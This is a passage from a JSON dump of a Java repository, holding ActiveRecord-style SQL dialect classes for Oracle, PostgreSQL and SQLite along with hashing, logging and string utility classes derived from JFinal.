\").append(tableName).append(\" where \");\n\t\tfor (int i=0; i<pKeys.length; i++) {\n\t\t\tif (i > 0) {\n\t\t\t\tsql.append(\" and \");\n\t\t\t}\n\t\t\tsql.append(pKeys[i]).append(\" = ?\");\n\t\t}\n\t\treturn sql.toString();\n\t}\n\t\n\tpublic void forDbSave(String tableName, String[] pKeys, Record record, StringBuilder sql, List<Object> paras) {\n\t\ttableName = tableName.trim();\n\t\ttrimPrimaryKeys(pKeys);\n\t\t\n\t\tsql.append(\"insert into \");\n\t\tsql.append(tableName).append('(');\n\t\tStringBuilder temp = new StringBuilder();\n\t\ttemp.append(\") values(\");\n\t\t\n\t\tint count = 0;\n\t\tfor (Entry<String, Object> e: record.getColumns().entrySet()) {\n\t\t\tString colName = e.getKey();\n\t\t\tif (count++ > 0) {\n\t\t\t\tsql.append(\", \");\n\t\t\t\ttemp.append(\", \");\n\t\t\t}\n\t\t\tsql.append(colName);\n\t\t\t\n\t\t\tObject value = e.getValue();\n\t\t\tif (value instanceof String && isPrimaryKey(colName, pKeys) && ((String)value).endsWith(\".nextval\")) {\n\t\t\t    temp.append(value);\n\t\t\t} else {\n\t\t\t\ttemp.append('?');\n\t\t\t\tparas.add(value);\n\t\t\t}\n\t\t}\n\t\tsql.append(temp.toString()).append(')');\n\t}\n\t\n\tpublic void forDbUpdate(String tableName, String[] pKeys, Object[] ids, Record record, StringBuilder sql, List<Object> paras) {\n\t\ttableName = tableName.trim();\n\t\ttrimPrimaryKeys(pKeys);\n\t\t\n\t\t// Record 新增支持 modifyFlag\n//\t\tSet<String> modifyFlag = CPI.getModifyFlag(record);\n\t\tSet<String> modifyFlag = record._getModifyFlag();\n\t\t\n\t\tsql.append(\"update \").append(tableName).append(\" set \");\n\t\tfor (Entry<String, Object> e: record.getColumns().entrySet()) {\n\t\t\tString colName = e.getKey();\n\t\t\tif (modifyFlag.contains(colName) && !isPrimaryKey(colName, pKeys)) {\n\t\t\t\tif (paras.size() > 0) {\n\t\t\t\t\tsql.append(\", \");\n\t\t\t\t}\n\t\t\t\tsql.append(colName).append(\" = ? \");\n\t\t\t\tparas.add(e.getValue());\n\t\t\t}\n\t\t}\n\t\tsql.append(\" where \");\n\t\tfor (int i=0; i<pKeys.length; i++) {\n\t\t\tif (i > 0) {\n\t\t\t\tsql.append(\" and \");\n\t\t\t}\n\t\t\tsql.append(pKeys[i]).append(\" = ?\");\n\t\t\tparas.add(ids[i]);\n\t\t}\n\t}\n\t\n\tpublic String forPaginate(int pageNumber, int pageSize, StringBuilder findSql) {\n\t\tint start = (pageNumber - 1) * pageSize;\n\t\tint end = pageNumber * pageSize;\n\t\tStringBuilder ret = new StringBuilder();\n\t\tret.append(\"select * from ( select row_.*, rownum rownum_ from (  \");\n\t\tret.append(findSql);\n\t\tret.append(\" ) row_ where rownum <= \").append(end).append(\") table_alias\");\n\t\tret.append(\" where table_alias.rownum_ > \").append(start);\n\t\treturn ret.toString();\n\t}\n\t\n\tpublic boolean isOracle() {\n\t\treturn true;\n\t}\n\t\n\tpublic void fillStatement(PreparedStatement pst, List<Object> paras) throws SQLException {\n\t\tfillStatementHandleDateType(pst, paras);\n\t}\n\t\n\tpublic void fillStatement(PreparedStatement pst, Object... paras) throws SQLException {\n\t\tfillStatementHandleDateType(pst, paras);\n\t}\n\t\n\tpublic String getDefaultPrimaryKey() {\n\t\treturn \"ID\";\n\t}\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-db-activerecord2/src/main/java/io/github/wujun728/db/record/dialect/PostgreSqlDialect.java",
    "content": "/**\n * Copyright (c) 2011-2015, James Zhan 詹波 (jfinal@126.com).\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage io.github.wujun728.db.record.dialect;\n\nimport java.sql.PreparedStatement;\nimport java.sql.ResultSet;\nimport java.sql.SQLException;\nimport java.util.List;\nimport java.util.Map.Entry;\nimport java.util.Set;\n\nimport io.github.wujun728.db.record.Record;\nimport io.github.wujun728.db.record.builder.TimestampProcessedRecordBuilder;\n\n/**\n * PostgreSqlDialect.\n */\npublic class PostgreSqlDialect extends Dialect {\n\t\n\tpublic PostgreSqlDialect() {\n\t\tthis.recordBuilder = TimestampProcessedRecordBuilder.me;\n\t}\n\t\n\tpublic String forTableBuilderDoBuild(String tableName) {\n\t\treturn \"select * from \\\"\" + tableName + \"\\\" where 1 = 2\";\n\t}\n\t\n\tpublic String forFindAll(String tableName) {\n\t\treturn \"select * from \\\"\" + tableName + \"\\\"\";\n\t}\n\t\n\n\t\n\tpublic String forDbFindById(String tableName, String[] pKeys) {\n\t\ttableName = tableName.trim();\n\t\ttrimPrimaryKeys(pKeys);\n\t\t\n\t\tStringBuilder sql = new StringBuilder(\"select * from \\\"\").append(tableName).append(\"\\\" where \");\n\t\tfor (int i=0; i<pKeys.length; i++) {\n\t\t\tif (i > 0) {\n\t\t\t\tsql.append(\" and \");\n\t\t\t}\n\t\t\tsql.append('\\\"').append(pKeys[i]).append(\"\\\" = ?\");\n\t\t}\n\t\treturn sql.toString();\n\t}\n\t\n\tpublic String forDbDeleteById(String tableName, String[] pKeys) {\n\t\ttableName = tableName.trim();\n\t\ttrimPrimaryKeys(pKeys);\n\t\t\n\t\tStringBuilder sql = new StringBuilder(\"delete from \\\"\").append(tableName).append(\"\\\" where \");\n\t\tfor (int i=0; i<pKeys.length; i++) {\n\t\t\tif (i > 0) {\n\t\t\t\tsql.append(\" and \");\n\t\t\t}\n\t\t\tsql.append('\\\"').append(pKeys[i]).append(\"\\\" = ?\");\n\t\t}\n\t\treturn sql.toString();\n\t}\n\t\n\tpublic void forDbSave(String tableName, String[] pKeys, Record record, StringBuilder sql, List<Object> paras) {\n\t\ttableName = tableName.trim();\n\t\ttrimPrimaryKeys(pKeys);\n\t\t\n\t\tsql.append(\"insert into \\\"\");\n\t\tsql.append(tableName).append(\"\\\"(\");\n\t\tStringBuilder temp = new StringBuilder();\n\t\ttemp.append(\") values(\");\n\t\t\n\t\tfor (Entry<String, Object> e: record.getColumns().entrySet()) {\n\t\t\tif (paras.size() > 0) {\n\t\t\t\tsql.append(\", \");\n\t\t\t\ttemp.append(\", \");\n\t\t\t}\n\t\t\tsql.append('\\\"').append(e.getKey()).append('\\\"');\n\t\t\ttemp.append('?');\n\t\t\tparas.add(e.getValue());\n\t\t}\n\t\tsql.append(temp.toString()).append(')');\n\t}\n\t\n\tpublic void forDbUpdate(String tableName, String[] pKeys, Object[] ids, Record record, StringBuilder sql, List<Object> paras) {\n\t\ttableName = tableName.trim();\n\t\ttrimPrimaryKeys(pKeys);\n\t\t\n\t\t// Record 新增支持 modifyFlag\n//\t\tSet<String> modifyFlag = CPI.getModifyFlag(record);\n\t\tSet<String> modifyFlag = record._getModifyFlag();\n\t\t\n\t\tsql.append(\"update \\\"\").append(tableName).append(\"\\\" set \");\n\t\tfor (Entry<String, Object> e: record.getColumns().entrySet()) {\n\t\t\tString colName = e.getKey();\n\t\t\tif (modifyFlag.contains(colName) && !isPrimaryKey(colName, pKeys)) {\n\t\t\t\tif (paras.size() > 0) {\n\t\t\t\t\tsql.append(\", \");\n\t\t\t\t}\n\t\t\t\tsql.append('\\\"').append(colName).append(\"\\\" = ? \");\n\t\t\t\tparas.add(e.getValue());\n\t\t\t}\n\t\t}\n\t\tsql.append(\" where \");\n\t\tfor (int i=0; i<pKeys.length; i++) {\n\t\t\tif (i > 0) {\n\t\t\t\tsql.append(\" and \");\n\t\t\t}\n\t\t\tsql.append('\\\"').append(pKeys[i]).append(\"\\\" = ?\");\n\t\t\tparas.add(ids[i]);\n\t\t}\n\t}\n\t\n\tpublic String forPaginate(int pageNumber, int pageSize, StringBuilder findSql) {\n\t\tint offset = pageSize * (pageNumber - 1);\n\t\tfindSql.append(\" limit \").append(pageSize).append(\" offset \").append(offset);\n\t\treturn findSql.toString();\n\t}\n\t\n\tpublic void fillStatement(PreparedStatement pst, List<Object> paras) throws SQLException {\n\t\tfillStatementHandleDateType(pst, paras);\n\t}\n\t\n\tpublic void fillStatement(PreparedStatement pst, Object... paras) throws SQLException {\n\t\tfillStatementHandleDateType(pst, paras);\n\t}\n\t\n\n\t/**\n\t * 解决 PostgreSql 获取自增主键时 rs.getObject(1) 总是返回第一个字段的值，而非返回了 id 值\n\t * issue: https://www.oschina.net/question/2312705_2243354\n\t * \n\t * 相对于 Dialect 中的默认实现，仅将 rs.getXxx(1) 改成了 rs.getXxx(pKey)\n\t */\n\tpublic void getRecordGeneratedKey(PreparedStatement pst, Record record, String[] pKeys) throws SQLException {\n\t\tResultSet rs = pst.getGeneratedKeys();\n\t\tfor (String pKey : pKeys) {\n\t\t\tif (record.get(pKey) == null || isOracle()) {\n\t\t\t\tif (rs.next()) {\n\t\t\t\t\trecord.set(pKey, rs.getObject(pKey));\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\trs.close();\n\t}\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-db-activerecord2/src/main/java/io/github/wujun728/db/record/dialect/Sqlite3Dialect.java",
    "content": "/**\n * Copyright (c) 2011-2015, James Zhan 詹波 (jfinal@126.com).\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage io.github.wujun728.db.record.dialect;\n\nimport java.sql.PreparedStatement;\nimport java.sql.SQLException;\nimport java.util.List;\nimport java.util.Map.Entry;\nimport java.util.Set;\n\nimport io.github.wujun728.db.record.Record;\nimport io.github.wujun728.db.record.builder.TimestampProcessedRecordBuilder;\n\n/**\n * SqliteDialect.\n */\npublic class Sqlite3Dialect extends Dialect {\n\t\n\tpublic Sqlite3Dialect() {\n\t\tthis.recordBuilder = TimestampProcessedRecordBuilder.me;\n\t}\n\t\n\tpublic String forTableBuilderDoBuild(String tableName) {\n\t\treturn \"select * from \" + tableName + \" where 1 = 2\";\n\t}\n\n\tpublic String forDbFindById(String tableName, String[] pKeys) {\n\t\ttableName = tableName.trim();\n\t\ttrimPrimaryKeys(pKeys);\n\t\t\n\t\tStringBuilder sql = new StringBuilder(\"select * from \").append(tableName).append(\" where \");\n\t\tfor (int i=0; i<pKeys.length; i++) {\n\t\t\tif (i > 0) {\n\t\t\t\tsql.append(\" and \");\n\t\t\t}\n\t\t\tsql.append(pKeys[i]).append(\" = ?\");\n\t\t}\n\t\treturn sql.toString();\n\t}\n\t\n\tpublic String forDbDeleteById(String tableName, String[] pKeys) {\n\t\ttableName = tableName.trim();\n\t\ttrimPrimaryKeys(pKeys);\n\t\t\n\t\tStringBuilder sql = new StringBuilder(\"delete from \").append(tableName).append(\" where \");\n\t\tfor (int i=0; i<pKeys.length; i++) {\n\t\t\tif (i > 0) {\n\t\t\t\tsql.append(\" and \");\n\t\t\t}\n\t\t\tsql.append(pKeys[i]).append(\" = ?\");\n\t\t}\n\t\treturn sql.toString();\n\t}\n\t\n\tpublic void forDbSave(String tableName, String[] pKeys, Record record, StringBuilder sql, List<Object> paras) {\n\t\ttableName = tableName.trim();\n\t\ttrimPrimaryKeys(pKeys);\n\t\t\n\t\tsql.append(\"insert into \");\n\t\tsql.append(tableName).append('(');\n\t\tStringBuilder temp = new StringBuilder();\n\t\ttemp.append(\") values(\");\n\t\t\n\t\tfor (Entry<String, Object> e: record.getColumns().entrySet()) {\n\t\t\tif (paras.size() > 0) {\n\t\t\t\tsql.append(\", \");\n\t\t\t\ttemp.append(\", \");\n\t\t\t}\n\t\t\tsql.append(e.getKey());\n\t\t\ttemp.append('?');\n\t\t\tparas.add(e.getValue());\n\t\t}\n\t\tsql.append(temp.toString()).append(')');\n\t}\n\t\n\tpublic void forDbUpdate(String tableName, String[] pKeys, Object[] ids, Record record, StringBuilder sql, List<Object> paras) {\n\t\ttableName = tableName.trim();\n\t\ttrimPrimaryKeys(pKeys);\n\t\t\n\t\t// Record 新增支持 modifyFlag\n//\t\tSet<String> modifyFlag = CPI.getModifyFlag(record);\n\t\tSet<String> modifyFlag = record._getModifyFlag();\n\t\t\n\t\tsql.append(\"update \").append(tableName).append(\" set \");\n\t\tfor (Entry<String, Object> e: record.getColumns().entrySet()) {\n\t\t\tString colName = e.getKey();\n\t\t\tif (modifyFlag.contains(colName) && !isPrimaryKey(colName, pKeys)) {\n\t\t\t\tif (paras.size() > 0) {\n\t\t\t\t\tsql.append(\", \");\n\t\t\t\t}\n\t\t\t\tsql.append(colName).append(\" = ? \");\n\t\t\t\tparas.add(e.getValue());\n\t\t\t}\n\t\t}\n\t\tsql.append(\" where \");\n\t\tfor (int i=0; i<pKeys.length; i++) {\n\t\t\tif (i > 0) {\n\t\t\t\tsql.append(\" and \");\n\t\t\t}\n\t\t\tsql.append(pKeys[i]).append(\" = ?\");\n\t\t\tparas.add(ids[i]);\n\t\t}\n\t}\n\t\n\tpublic String forPaginate(int pageNumber, int pageSize, StringBuilder findSql) {\n\t\tint offset = pageSize * (pageNumber - 1);\n\t\tfindSql.append(\" limit \").append(offset).append(\", \").append(pageSize);\n\t\treturn findSql.toString();\n\t}\n\t\n\tpublic void fillStatement(PreparedStatement pst, List<Object> paras) throws SQLException {\n\t\tfillStatementHandleDateType(pst, paras);\n\t}\n\t\n\tpublic void fillStatement(PreparedStatement pst, Object... paras) throws SQLException {\n\t\tfillStatementHandleDateType(pst, paras);\n\t}\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-db-activerecord2/src/main/java/io/github/wujun728/db/record/kit/HashKit.java",
    "content": "/**\n * Copyright (c) 2011-2023, James Zhan 詹波 (jfinal@126.com).\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage io.github.wujun728.db.record.kit;\n\nimport java.security.MessageDigest;\nimport java.util.concurrent.ThreadLocalRandom;\n\npublic class HashKit {\n\t\n\tpublic static final long FNV_OFFSET_BASIS_64 = 0xcbf29ce484222325L;\n\tpublic static final long FNV_PRIME_64 = 0x100000001b3L;\n\t\n\t// private static final java.security.SecureRandom random = new java.security.SecureRandom();\n\tprivate static final char[] HEX_DIGITS = \"0123456789abcdef\".toCharArray();\n\tprivate static final char[] CHAR_ARRAY = \"0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\".toCharArray();\n\t\n\tpublic static long fnv1a64(String key) {\n\t\tlong hash = FNV_OFFSET_BASIS_64;\n\t\tfor(int i=0, size=key.length(); i<size; i++) {\n\t\t\thash ^= key.charAt(i);\n\t\t\thash *= FNV_PRIME_64;\n\t\t}\n\t\treturn hash;\n\t}\n\t\n\tpublic static String md5(String srcStr){\n\t\treturn hash(\"MD5\", srcStr);\n\t}\n\t\n\tpublic static String sha1(String srcStr){\n\t\treturn hash(\"SHA-1\", srcStr);\n\t}\n\t\n\tpublic static String sha256(String srcStr){\n\t\treturn hash(\"SHA-256\", srcStr);\n\t}\n\t\n\tpublic static String sha384(String srcStr){\n\t\treturn hash(\"SHA-384\", srcStr);\n\t}\n\t\n\tpublic static String sha512(String srcStr){\n\t\treturn hash(\"SHA-512\", srcStr);\n\t}\n\t\n\tpublic static String hash(String algorithm, String srcStr) {\n\t\ttry {\n\t\t\tMessageDigest md = MessageDigest.getInstance(algorithm);\n\t\t\tbyte[] bytes = md.digest(srcStr.getBytes(\"utf-8\"));\n\t\t\treturn toHex(bytes);\n\t\t}\n\t\tcatch (Exception e) {\n\t\t\tthrow new RuntimeException(e);\n\t\t}\n\t}\n\t\n\tpublic static String toHex(byte[] bytes) {\n\t\tStringBuilder ret = new StringBuilder(bytes.length * 2);\n\t\tfor (int i=0; i<bytes.length; i++) {\n\t\t\tret.append(HEX_DIGITS[(bytes[i] >> 4) & 0x0f]);\n\t\t\tret.append(HEX_DIGITS[bytes[i] & 0x0f]);\n\t\t}\n\t\treturn ret.toString();\n\t}\n\t\n\t/**\n\t * md5 128bit 16bytes\n\t * sha1 160bit 20bytes\n\t * sha256 256bit 32bytes\n\t * sha384 384bit 48bytes\n\t * sha512 512bit 64bytes\n\t */\n\tpublic static String generateSalt(int saltLength) {\n\t\tStringBuilder salt = new StringBuilder(saltLength);\n\t\tThreadLocalRandom random = ThreadLocalRandom.current();\n\t\tfor (int i=0; i<saltLength; i++) {\n\t\t\tsalt.append(CHAR_ARRAY[random.nextInt(CHAR_ARRAY.length)]);\n\t\t}\n\t\treturn salt.toString();\n\t}\n\t\n\tpublic static String generateSaltForSha256() {\n\t\treturn generateSalt(32);\n\t}\n\t\n\tpublic static String generateSaltForSha512() {\n\t\treturn generateSalt(64);\n\t}\n\t\n\t// 生成随机字符串\n\tpublic static String generateRandomStr(int strLength) {\n\t\treturn generateSalt(strLength);\n\t}\n\t\n\tpublic static boolean slowEquals(byte[] a, byte[] b) {\n\t\tif (a == null || b == null) {\n\t\t\treturn false;\n\t\t}\n\t\t\n\t\tint diff = a.length ^ b.length;\n\t\tfor(int i=0; i<a.length && i<b.length; i++) {\n\t\t\tdiff |= a[i] ^ b[i];\n\t\t}\n\t\treturn diff == 0;\n    }\n}\n\n\n\n\n"
  },
  {
    "path": "jun_springboot_starter/jun-db-activerecord2/src/main/java/io/github/wujun728/db/record/kit/LogKit.java",
    "content": "/**\n * Copyright (c) 2011-2023, James Zhan 詹波 (jfinal@126.com).\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage io.github.wujun728.db.record.kit;\n\n// import com.jfinal.log.Log;\n\n/**\n * LogKit.\n * \n * 注意：LogKit 是专门针对 jfinal 内部使用来设计的，不建议大家在项目中使用 LogKit\n *      因为 LogKit 输出不带 Throwable 参数的日志时，将不会记录日志发生地点的类信息\n *      与方法信息，LogKit 可以做成通过反射机制来输出类信息与方法信息，但会损失性能\n *      \n *      用户自己的代码中应该使用如下形式来做日志：\n *        Log.getLog(...).error(...);\n */\npublic class LogKit {\n\t\n//\tprivate static class Holder {\n//\t\tprivate static Log log = Log.getLog(LogKit.class);\n//\t}\n\t\n\t/**\n\t * 当通过 Constants.setLogFactory(...) 或者 \n\t * LogManager.me().setDefaultLogFacotyr(...)\n\t * 指定默认日志工厂以后，重置一下内部 Log 对象，以便使内部日志实现与系统保持一致\n\t */\n\tpublic static void synchronizeLog() {\n//\t\tHolder.log = Log.getLog(LogKit.class);\n\t}\n\t\n\t/**\n\t * Do nothing.\n\t */\n\tpublic static void logNothing(Throwable t) {\n\t\t\n\t}\n\t\n\tpublic static void trace(String message) {\n//\t\tHolder.log.trace(message);\n\t}\n\t\n\tpublic static void trace(String message, Throwable t) {\n//\t\tHolder.log.trace(message, t);\n\t}\n\t\n\tpublic static void trace(String format, Object... args) {\n//\t\tHolder.log.trace(format, args);\n\t}\n\t\n\tpublic static void debug(String message) {\n//\t\tHolder.log.debug(message);\n\t}\n\t\n\tpublic static void debug(String message, Throwable t) {\n//\t\tHolder.log.debug(message, t);\n\t}\n\t\n\tpublic static void debug(String format, Object... args) {\n//\t\tHolder.log.debug(format, args);\n\t}\n\t\n\tpublic static void info(String message) {\n//\t\tHolder.log.info(message);\n\t}\n\t\n\tpublic static void info(String message, Throwable t) {\n//\t\tHolder.log.info(message, t);\n\t}\n\t\n\tpublic static void info(String format, Object... args) {\n//\t\tHolder.log.info(format, args);\n\t}\n\t\n\tpublic static void warn(String message) {\n//\t\tHolder.log.warn(message);\n\t}\n\t\n\tpublic static void warn(String message, Throwable t) {\n//\t\tHolder.log.warn(message, t);\n\t}\n\t\n\tpublic static void warn(String format, Object... args) {\n//\t\tHolder.log.warn(format, args);\n\t}\n\t\n\tpublic static void error(String message) {\n//\t\tHolder.log.error(message);\n\t}\n\t\n\tpublic static void error(String message, Throwable t) {\n//\t\tHolder.log.error(message, t);\n\t}\n\t\n\tpublic static void error(String format, Object... args) {\n//\t\tHolder.log.error(format, args);\n\t}\n\t\n\tpublic static void fatal(String message) {\n//\t\tHolder.log.fatal(message);\n\t}\n\t\n\tpublic static void fatal(String message, Throwable t) {\n//\t\tHolder.log.fatal(message, t);\n\t}\n\t\n\tpublic static void fatal(String format, Object... args) {\n//\t\tHolder.log.fatal(format, args);\n\t}\n\t\n\tpublic static boolean isTraceEnabled() {\n//\t\treturn Holder.log.isTraceEnabled();\n\t    return false;\n\t}\n\t\n\tpublic static boolean isDebugEnabled() {\n//\t\treturn Holder.log.isDebugEnabled();\n\t    return false;\n\t}\n\t\n\tpublic static boolean isInfoEnabled() {\n//\t\treturn Holder.log.isInfoEnabled();\n\t    return false;\n\t}\n\t\n\tpublic static boolean isWarnEnabled() {\n//\t\treturn Holder.log.isWarnEnabled();\n\t    return false;\n\t}\n\t\n\tpublic static boolean isErrorEnabled() {\n//\t\treturn Holder.log.isErrorEnabled();\n\t    return false;\n\t}\n\t\n\tpublic static boolean isFatalEnabled() {\n//\t\treturn Holder.log.isFatalEnabled();\n\t    return false;\n\t}\n}\n\n"
  },
  {
    "path": "jun_springboot_starter/jun-db-activerecord2/src/main/java/io/github/wujun728/db/record/kit/StrKit.java",
    "content": "/**\n * Copyright (c) 2011-2015, James Zhan 詹波 (jfinal@126.com).\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage io.github.wujun728.db.record.kit;\n\n/**\n * StrKit.\n */\npublic class StrKit {\n\t\n\t/**\n\t * 首字母变小写\n\t */\n\tpublic static String firstCharToLowerCase(String str) {\n\t\tchar firstChar = str.charAt(0);\n\t\tif (firstChar >= 'A' && firstChar <= 'Z') {\n\t\t\tchar[] arr = str.toCharArray();\n\t\t\tarr[0] += ('a' - 'A');\n\t\t\treturn new String(arr);\n\t\t}\n\t\treturn str;\n\t}\n\t\n\t/**\n\t * 首字母变大写\n\t */\n\tpublic static String firstCharToUpperCase(String str) {\n\t\tchar firstChar = str.charAt(0);\n\t\tif (firstChar >= 'a' && firstChar <= 'z') {\n\t\t\tchar[] arr = str.toCharArray();\n\t\t\tarr[0] -= ('a' - 'A');\n\t\t\treturn new String(arr);\n\t\t}\n\t\treturn str;\n\t}\n\t\n\t/**\n\t * 字符串为 null 或者内部字符全部为 ' ' '\\t' '\\n' '\\r' 这四类字符时返回 true\n\t */\n\tpublic static boolean isBlank(String str) {\n\t\tif (str == null) {\n\t\t\treturn true;\n\t\t}\n\t\t\n\t\tfor (int i = 0, len = str.length(); i < len; i++) {\n\t\t\tif (str.charAt(i) > ' ') {\n\t\t\t\treturn false;\n\t\t\t}\n\t\t}\n\t\treturn true;\n\t}\n\t\n\tpublic static boolean notBlank(String str) {\n\t\treturn !isBlank(str);\n\t}\n\t\n\tpublic static boolean notBlank(String... strings) {\n\t\tif (strings == null || strings.length == 0) {\n\t\t\treturn false;\n\t\t}\n\t\tfor (String str : strings) {\n\t\t\tif (isBlank(str)) {\n\t\t\t\treturn false;\n\t\t\t}\n\t\t}\n\t\treturn true;\n\t}\n\t\n\tpublic static boolean hasBlank(String... strings) {\n\t\tif (strings == null || strings.length == 0) {\n\t\t\treturn true;\n\t\t}\n\t\t\n\t\tfor (String str : strings) {\n\t\t\tif (isBlank(str)) {\n\t\t\t\treturn true;\n\t\t\t}\n\t\t}\n\t\treturn false;\n\t}\n\t\n\tpublic static boolean notNull(Object... paras) {\n\t\tif (paras == null) {\n\t\t\treturn false;\n\t\t}\n\t\tfor (Object obj : paras) {\n\t\t\tif (obj == null) {\n\t\t\t\treturn false;\n\t\t\t}\n\t\t}\n\t\treturn true;\n\t}\n\t\n\tpublic static String defaultIfBlank(String str, String defaultValue) {\n\t\treturn isBlank(str) ? defaultValue : str;\n\t}\n\t\n\t/**\n\t * 将包含下划线字符 '_' 的字符串转换成驼峰格式，不包含下划线则原样返回\n\t */\n\tpublic static String toCamelCase(String str) {\n\t\treturn toCamelCase(str, false);\n\t}\n\t\n\t/**\n\t * 字符串转换成驼峰格式\n\t * \n\t * <pre>\n\t * toLowerCaseAnyway 参数的作用如下：\n\t * \n\t * 1：当待转换字符串中包含下划线字符 '_' 时，无需关心 toLowerCaseAnyway 参数的值，转换结果始终一样\n\t * \n\t * 2：当待转换字符串中不包含下划线字符 '_' 时，toLowerCaseAnyway 参数规则如下：\n\t *    true 值:  将待转换字符串全部转换成小与字母，适用于 oralce 数据库字段转换的场景\n\t *              因为 oracle 字段全是大写字母\n\t *                 \n\t *    false 值: 则原样返回待转换字符串，适用于待转换字符串可能原本就是驼峰格式的场景\n\t *              如果原本就是驼峰，全部转成小写字母显然不合理\n\t * </pre>\n\t */\n\tpublic static String toCamelCase(String str, boolean toLowerCaseAnyway) {\n\t\tint len = str.length();\n\t\tif (len <= 1) {\n\t\t\treturn str;\n\t\t}\n\t\t\n\t\tchar ch;\n\t\tint index = 0;\n\t\tchar[] buf = new char[len];\n\t\t\n\t\tint i = 0;\n\t\tfor (; i < len; i++) {\n\t\t\tch = str.charAt(i);\n\t\t\tif (ch == '_') {\n\t\t\t\t// 当前字符为下划线时，将指针后移一位，将紧随下划线后面一个字符转成大写并存放\n\t\t\t\ti++;\n\t\t\t\tif (i < len) {\n\t\t\t\t\tch = str.charAt(i);\n\t\t\t\t\tbuf[index] = (\n\t\t\t\t\t\t\tindex == 0 ?\t// 首字母无条件变小写\n\t\t\t\t\t\t\tCharacter.toLowerCase(ch) :\n\t\t\t\t\t\t\tCharacter.toUpperCase(ch)\n\t\t\t\t\t\t);\n\t\t\t\t\tindex++;\n\t\t\t\t}\n\t\t\t}\n\t\t\telse {\n\t\t\t\tbuf[index++] = Character.toLowerCase(ch);\n\t\t\t}\n\t\t}\n\t\t\n\t\tif (toLowerCaseAnyway) {\n\t\t\treturn new String(buf, 0, index);\n\t\t}\n\t\t\n\t\t// i == index 时，表明字符串中不存在字符 '_'\n\t\t// 无下划线的字符串原本可能就是驼峰形式，所以原样返回\n\t\treturn i == index ? str : new String(buf, 0, index);\n\t}\n\t\n\tpublic static String join(String[] stringArray) {\n\t\tStringBuilder sb = new StringBuilder();\n\t\tfor (String s : stringArray) {\n\t\t\tsb.append(s);\n\t\t}\n\t\treturn sb.toString();\n\t}\n\t\n\tpublic static String join(String[] stringArray, String separator) {\n\t\tStringBuilder sb = new StringBuilder();\n\t\tfor (int i=0; i<stringArray.length; i++) {\n\t\t\tif (i > 0) {\n\t\t\t\tsb.append(separator);\n\t\t\t}\n\t\t\tsb.append(stringArray[i]);\n\t\t}\n\t\treturn sb.toString();\n\t}\n\t\n\tpublic static String join(java.util.List<String> list, String separator) {\n\t\tStringBuilder sb = new StringBuilder();\n\t\tfor (int i=0, len=list.size(); i<len; i++) {\n\t\t\tif (i > 0) {\n\t\t\t\tsb.append(separator);\n\t\t\t}\n\t\t\tsb.append(list.get(i));\n\t\t}\n\t\treturn sb.toString();\n\t}\n\t\n\tpublic static boolean slowEquals(String a, String b) {\n\t\tbyte[] aBytes = (a != null ? a.getBytes() : null);\n\t\tbyte[] bBytes = (b != null ? b.getBytes() : null);\n\t\treturn HashKit.slowEquals(aBytes, bBytes);\n\t}\n\t\n\tpublic static boolean equals(String a, String b) {\n\t\treturn a == null ? b == null : a.equals(b);\n\t}\n\t\n\tpublic static String getRandomUUID() {\n\t\treturn java.util.UUID.randomUUID().toString().replace(\"-\", \"\");\n\t}\n}\n\n\n\n\n"
  },
  {
    "path": "jun_springboot_starter/jun-db-activerecord2/src/main/java/io/github/wujun728/db/record/kit/SyncWriteMap.java",
    "content": "/**\n * Copyright (c) 2011-2023, James Zhan 詹波 (jfinal@126.com).\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage io.github.wujun728.db.record.kit;\n\nimport java.util.HashMap;\nimport java.util.Map;\nimport java.util.function.BiFunction;\nimport java.util.function.Function;\n\n/**\n * SyncWriteMap 同步写 HashMap\n * 创建原因是 HashMap扩容时，遇到并发修改可能造成 